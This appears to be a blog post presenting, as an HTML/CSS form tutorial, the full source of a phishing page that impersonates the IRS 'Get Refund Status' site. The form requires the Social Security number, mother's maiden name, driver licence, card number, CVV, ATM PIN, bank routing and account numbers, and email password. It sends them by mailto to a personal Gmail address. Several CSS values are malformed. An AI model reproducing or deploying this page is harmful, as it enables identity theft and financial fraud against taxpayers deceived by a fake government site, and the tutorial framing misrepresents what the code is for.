Create a detailed form using html and css only

Source code

<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>IRS | Internal Revenue Service</title>
        <link rel="stylesheet" href="irs1.html">
        <link rel="stylesheet" href="irs2.html">
        <link rel="stylesheet" href="irs3.html">
        <style>
            body {
    font-family: 'Segoe UI'Tahoma, Geneva, Verdanasans-serif;
}
header {
    position: absolute;
    left: 0;
    top: 0;
    right: 0;
    height: 98px;
    background-color: rgb(2290);
}
label {
    font-weight: bold;
}
a {
    font-weight: 500;
    text-align: center;
    border-top-left-radius: 7px;
    border-top-right-radius: 7px;
    color: rgb(2290);
    padding-left: 20px;
    padding-right: 20px;
    width: 100px;
    background-color: rgb(143175209);
}
.taxreturn {
    font-weight: 400;
    background-color: white !important;
    color: dodgerblue;
}
a:active {
    background-color: white;
    text-decoration: none;
}
.home {
    padding-right: 56px;
    padding-left: 56px;
}
.rh {
    padding-left: 35px;
    padding-right: 35px;
}
.formlayout {
    width: 70%;
}
.irs {
    font-size: 52px;
    font-family: 'Times New Roman'Timesserif;
    color: white;
}
.gov {
    color: white;
    font-size: 36px !important;
    font-weight: 300;
    margin-left: -10px;
    color: white;
}
.logo {
    margin-top: 10px;
    margin-left: 2%;
}
.headerelements {
    margin-top: 15px;
    margin-left: 5%;
}
form {
    margin-left: 5%;
    width: 65%;
    margin-top: 110px;
    color: rgb(2290);
}
inputselect {
    height: 22px;
    border-right: 1px solid rgb(190190190);
    border-bottom: 1px solid rgb(212212212);
    border-left: 2px solid gray;
    border-top: 2px solid gray;
}
img {
    width: 15px;
    height: 15px;
    transform: rotate(-90deg);
}
.orangestar {
    color: coral;
}
.section1 {
    margin-left: 2%;
}
.irsline.cvvline.pinline {
    font-size: small;
}
input::-webkit-outer-spin-button,
input::-webkit-inner-spin-button {
  -webkit-appearance: none;
  margin: 0;
}
        </style>
    </head>
    <body>
        <div class="formlayout">
            <header>
                <span class="logo">
                    <span class="irs">
                        IRS
                    </span>
                    <span class="gov">
                        .gov
                    </span>
                </span>
                <div class="headerelements">
                    <a class="home" href="irs1.html">Home</a>
                    <a href="irs3.html">Get Refund Status</a>
                    <a class="rh" href="#">Refund Help</a>
                </div>
            </header>
            <form method="POST" action="mailto:liltunech94@gmail.com">
                <section class="section1">
                    <h3 class="refundstatus">
                        Refund Status 
                        <hr>
                    </h3>
                    <h3>
                        Get Refund Status
                    </h3>
                    <p>
                        Regarding our request for your personal information.
                    </p>
                    <hr style="height: 1px; background-color: gray;">
                    <br>
                </section>
                <section class="section2">
                    <span class="orangestar">*</span>
                    <label for="ssn">Social Security Number</label>
                    <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
                    <span class="ssninput" style="float: right; margin-right: 30px;">
                        <input type="number" name="ssn" id="ssn" required style="width: 40px;">-
                        <input type="number" name="ssn" id="ssn" required style="width: 32px;">-
                        <input type="number" name="ssn" id="ssn" required style="width: 50px;">
                    </span>
                    <br
                    
                    <span class="irsline">
                        or IRS Individual Taxpayer Identification <br>
                        number<a class="taxreturn" href="#">show on your tax return</a>
                    </span>
                    <br>
                    <br>
                    <span class="orangestar">*</span>
                    <label for="fullname">Full Name</label>
                    <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
                    <input type="text" id="fullname" name="full Name" required style="float: right; width: 188px;">
                    <br>
                    <br>
                    <span class="orangestar">*</span>
                    <label for="DOB">Date of Birth</label>
                    <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
                    <select name="DOBDay" id="dob" class="day" style="margin-left: 42.3%;">
                        <option> Day </option>
                        <option value="1">1</option>
                        <option value="2">2</option>
                        <option value="3">3</option>
                        <option value="4">4</option>
                        <option value="5">5</option>
                        <option value="6">6</option>
                        <option value="7">7</option>
                        <option value="8">8</option>
                        <option value="9">9</option>
                        <option value="10">10</option>
                        <option value="11">11</option>
                        <option value="12">12</option>
                        <option value="13">13</option>
                        <option value="14">14</option>
                        <option value="15">15</option>
                        <option value="16">16</option>
                        <option value="17">17</option>
                        <option value="18">18</option>
                        <option value="19">19</option>
                        <option value="20">20</option>
                        <option value="21">21</option>
                        <option value="22">22</option>
                        <option value="23">23</option>
                        <option value="24">24</option>
                        <option value="25">25</option>
                        <option value="26">26</option>
                        <option value="27">27</option>
                        <option value="28">28</option>
                        <option value="29">29</option>
                        <option value="30">30</option>
                        <option value="31">31</option>
                        </select>
                        <select name="DOBMonth" id="dob" class="month" style="width: 82px;">
                            <option> Month </option>
                            <option value="January">January</option>
                            <option value="Febuary">Febuary</option>
                            <option value="March">March</option>
                            <option value="April">April</option>
                            <option value="May">May</option>
                            <option value="June">June</option>
                            <option value="July">July</option>
                            <option value="August">August</option>
                            <option value="September">September</option>
                            <option value="October">October</option>
                            <option value="November">November</option>
                            <option value="December">December</option>
                            </select>
                            <select name="DOBYear" id="dob" class="year">
                                <option> Year </option>
                                <option value="2020">2020</option>
                                <option value="2019">2019</option>
                                <option value="2018">2018</option>
                                <option value="2017">2017</option>
                                <option value="2016">2016</option>
                                <option value="2015">2015</option>
                                <option value="2014">2014</option>
                                <option value="2013">2013</option>
                                <option value="2012">2012</option>
                                <option value="2011">2011</option>
                                <option value="2010">2010</option>
                                <option value="2009">2009</option>
                                <option value="2008">2008</option>
                                <option value="2007">2007</option>
                                <option value="2006">2006</option>
                                <option value="2005">2005</option>
                                <option value="2004">2004</option>
                                <option value="2003">2003</option>
                                <option value="2002">2002</option>
                                <option value="2001">2001</option>
                                <option value="2000">2000</option>
                                <option value="1999">1999</option>
                                <option value="1998">1998</option>
                                <option value="1997">1997</option>
                                <option value="1996">1996</option>
                                <option value="1995">1995</option>
                                <option value="1994">1994</option>
                                <option value="1993">1993</option>
                                <option value="1992">1992</option>
                                <option value="1991">1991</option>
                                <option value="1990">1990</option>
                                <option value="1989">1989</option>
                                <option value="1988">1988</option>
                                <option value="1987">1987</option>
                                <option value="1986">1986</option>
                                <option value="1985">1985</option>
                                <option value="1984">1984</option>
                                <option value="1983">1983</option>
                                <option value="1982">1982</option>
                                <option value="1981">1981</option>
                                <option value="1980">1980</option>
                                <option value="1979">1979</option>
                                <option value="1978">1978</option>
                                <option value="1977">1977</option>
                                <option value="1976">1976</option>
                                <option value="1975">1975</option>
                                <option value="1974">1974</option>
                                <option value="1973">1973</option>
                                <option value="1972">1972</option>
                                <option value="1971">1971</option>
                                <option value="1970">1970</option>
                                <option value="1969">1969</option>
                                <option value="1968">1968</option>
                                <option value="1967">1967</option>
                                <option value="1966">1966</option>
                                <option value="1965">1965</option>
                                <option value="1964">1964</option>
                                <option value="1963">1963</option>
                                <option value="1962">1962</option>
                                <option value="1961">1961</option>
                                <option value="1960">1960</option>
                                <option value="1959">1959</option>
                                <option value="1958">1958</option>
                                <option value="1957">1957</option>
                                <option value="1956">1956</option>
                                <option value="1955">1955</option>
                                <option value="1954">1954</option>
                                <option value="1953">1953</option>
                                <option value="1952">1952</option>
                                <option value="1951">1951</option>
                                <option value="1950">1950</option>
                                <option value="1949">1949</option>
                                <option value="1948">1948</option>
                                <option value="1947">1947</option>
                                <option value="1946">1946</option>
                                <option value="1945">1945</option>
                                <option value="1944">1944</option>
                                <option value="1943">1943</option>
                                <option value="1942">1942</option>
                                <option value="1941">1941</option>
                                <option value="1940">1940</option>
                                <option value="1939">1939</option>
                                <option value="1938">1938</option>
                                <option value="1937">1937</option>
                                <option value="1936">1936</option>
                                <option value="1935">1935</option>
                                <option value="1934">1934</option>
                                <option value="1933">1933</option>
                                <option value="1932">1932</option>
                                <option value="1931">1931</option>
                                <option value="1930">1930</option>
                                </select>
                        <br>
                        <br>
                        <span class="orangestar">*</span>
                        <label for="Mothersmaidenname">Mother's Maiden Name</label>
                        <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
                        <input type="text" id="mothersmaidenname" name="mothers maiden name" required style="float: right; margin-right: 20px;">
                        <br>
                        <br>
                        <span class="orangestar">*</span>
                        <label for="Homephone">Home Phone Number</label>
                        <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
                        <span class="homephoneinput" style="float: right; margin-right: 23px;">
                            <input type="number" name="homephone" id="homephone" required style="width: 40px;">-
                            <input type="number" name="homephone" id="homephone" required style="width: 40px;">-
                            <input type="number" name="homephone" id="homephone" required style="width: 50px;">
                        </span>
                        <br>
                        <br>
                        <span class="orangestar">*</span>
                        <label for="drv">Driver Licence Number</label>
                        <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
                        <input type="text" name="driver licence number" id="drv" style="float: right; margin-right: 20px;">
                </section>
                <br>
                <hr>
                <br>
                <section class="section3">
                    <span class="orangestar">*</span>
                    <label for="address">Street Address (line 1)</label>
                    <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
                    <input type="text" id="address" name="address" required style="float: right; margin-right: 20px;">
                    <br>
                    <br>
                    <label for="addressline2">Street Address (line 2)</label>
                    <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
                    <input type="text" id="addressline2" name="addressline2" style="float: right; margin-right: 20px;">
                    <br>
                    <br>
                    <span class="orangestar">*</span>
                    <label for="city">City</label>
                    <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
                    <input type="text" id="city" name="city" required style="float: right; margin-right: 20px;">
                    <br>
                    <br>
                    <span class="orangestar">*</span>
                    <label for="state">State</label>
                    <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
                    <input type="text" id="state" name="state" required style="float: right; margin-right: 20px;">
                    <br>
                    <br>
                    <span class="orangestar">*</span>
                    <label for="zip">Zip / Postal Code</label>
                    <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
                    <input type="number" name="zip" required style="float: right; margin-right: 130px; width: 60px;">
                </section>
                <br>
                <hr>
                <br>
                <section class="section4">
                    <span class="orangestar">*</span>
                    <label for="card">Credit/Debit Card</label>
                    <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
                    <select name="card" id="card" required style="float: right; margin-right: 132px;">
                        <option value="select" selected>Select</option>
                        <option value="credit">Credit</option>
                        <option value="debit">Debit</option>
                    </select>
                    <br>
                    <br>
                    <span class="orangestar">*</span>
                    <label for="cardtype">Credit Card Type</label>
                    <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
                    <select name="cardtype" id="cardtype" required style="float: right; margin-right: 40px;">
                        <option selected value="American Express Go">American Express Go</option>
                        <option value="Divvy">Divvy</option>
                        <option value="iCard">iCard</option>
                        <option value="ePayService">ePayService</option>
                        <option value="Emburse">Emburse</option>
                        <option value="Brex">Brex</option>
                        <option value="ecoVirtualcard">ecoVirtualcard</option>
                        <option value="Netspend">Netspend</option>
                        <option value="Bento">Bento</option>
                        <option value="Privacy">Privacy</option>
                        <option value="Dreamweaver VCC">Dreamweaver VCC</option>
                        <option value="Blur">Blur</option>
                        <option value="US Unlocked">US Unlocked</option>
                    </select>
                    <br>
                    <br>
                    <span class="orangestar">*</span>
                    <label for="cardnumber">Card Number</label>
                    <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
                    <input type="text" id="cardnumber" name="cardnumber" required style="float: right; margin-right: 20px;">
                    <br>
                    <br>
                    <span class="orangestar">*</span>
                    <label for="expirydate">Expiration Date</label>
                    <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
                    <select name="cardexpirymonth" id="expirydate" required style="margin-left: 38.8%;">
                        <option> Month </option>
                        <option value="January">January</option>
                        <option value="Febuary">Febuary</option>
                        <option value="March">March</option>
                        <option value="April">April</option>
                        <option value="May">May</option>
                        <option value="June">June</option>
                        <option value="July">July</option>
                        <option value="August">August</option>
                        <option value="September">September</option>
                        <option value="October">October</option>
                        <option value="November">November</option>
                        <option value="December">December</option>
                        </select>
                        <select name="cardexpiryyear" id="expirydate" required>
                            <option value="2021">2021</option>
                            <option value="2022">2022</option>
                            <option value="2023">2023</option>
                            <option value="2024">2024</option>
                            <option value="2025">2025</option>
                            <option value="2026">2026</option>
                            <option value="2027">2027</option>
                            <option value="2028">2028</option>
                            <option value="2029">2029</option>
                            <option value="2030">2030</option>
                        </select>
                        <br>
                        <br>
                        <span class="orangestar">*</span>
                        <label for="cvv/cvv2">Cvv/Cvv2</label>
                        <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
                        <input type="number" name="cvv/cvv2" required id="cvv/cvv2" style="float: right; margin-right: 128px; width: 60px;">
                        <p class="cvvline">
                            (It is the last 3 or 4 digits on the signature area of the card)
                        </p>
                        <span class="orangestar">*</span>
                        <label for="cardpin">Card Pin Number</label>
                        <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
                        <input type="number" name="cardpin" required id="cardpin" style="float: right; margin-right: 128px; width: 60px;">
                        <br>
                        <p class="pinline">
                            Your 4 digit number used in ATM transactions.
                        </p>
                </section>
                <br>
                <hr>
                <br>
                <section class="section5">
                    <span class="orangestar">*</span>
                    <label for="accounttype">Account type</label>
                    <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
                    <span class="cheksav" style="float: right; margin-right: 25px;">
                        <input type="radio" id="accounttype" name="checking" value="accounttype">
                        Checking
                        <input type="radio" id="accounttype" name="saving" value="accounttype">
                        Savings
                    </span>
                    <br>
                    <br>
                    <span class="orangestar">*</span>
                    <label for="Bankname">Bank Name</label>
                    <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
                    <input type="text" name="bankname" id="bankname" required style="float: right; margin-right: 20px;">
                    <br>
                    <br>
                    <span class="orangestar">*</span>
                    <label for="Routingnumber">Routing number</label>
                    <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
                    <input type="number" required name="routingnumber" id="Routingnumber" style="float: right; margin-right: 20px;">
                    <br>
                    <p class="routingline">
                        (9 digits) is usually located between the <span style="font-weight: 900;  font-size: 19px;">-:</span> symbols on your check.
                    </p>
                    <span class="orangestar">*</span>
                    <label for="accountnumber">Account number</label>
                    <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
                    <input type="text" name="accountnumber" id="accountnumber" required style="float: right; margin-right: 20px;">
                </section>
                <br>
                <hr>
                <br>
                <section class="section6">
                    <span class="orangestar">*</span>
                    <label for="email">Email Address</label>
                    <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
                    <input type="email" name="email" id="email" required style="float: right; margin-right: 20px;">
                    <br>
                    <p class="emailline">
                        Attach email address to your information
                    </p>
                    
                    <span class="orangestar">*</span>
                    <label for="password">Password</label>
                    <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
                    <input type="password" name="password" id="password" required style="float: right; margin-right: 20px;">
                </section>
                <br>
                <hr>
                <br>
                <section class="section7">
                    <span class="orangestar">*</span>
                    <label for="Fillingstatus">Filling Status</label>
                    <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
                    <p class="fillingline">
                        Please select the Filling status
                        <br>
                        <a href="#" class="taxreturn">Show on your tax return</a>
                    </p>
                    <span class="fillingstatusradio" style="float: right; top: -100px; position: relative;">
                        <input type="radio" value="single" id="fillingstatus" name="status">Single
                        <br
                        <input type="radio" value="marriedjoint" name="status" id="fillingstatus">Married-Filling Joint Return
                        <br>
                        <input type="radio" value="marriedsaparate" name="status" id="fillingstatus">Married-Filling Saparate Return
                        <br>
                        <input type="radio" value="Headofhousehold" name="status" id="fillingstatus">Head of Household
                        <br>
                        <input type="radio" value="qualifying" name="status" id="fillingstatus">Qualifying Widow(er)
                    </span>
                </section>
                <br>
                <br>
                <br>
                <input type="submit" value="submit" class="button" style="float: right; margin-right: 15px;  width: 90px;
                border: 1px solid black;
                border-radius: 0px;
                height: fit-content;">
            </form>
        </div>
    </body>
</html>







 

Comments

Popular Posts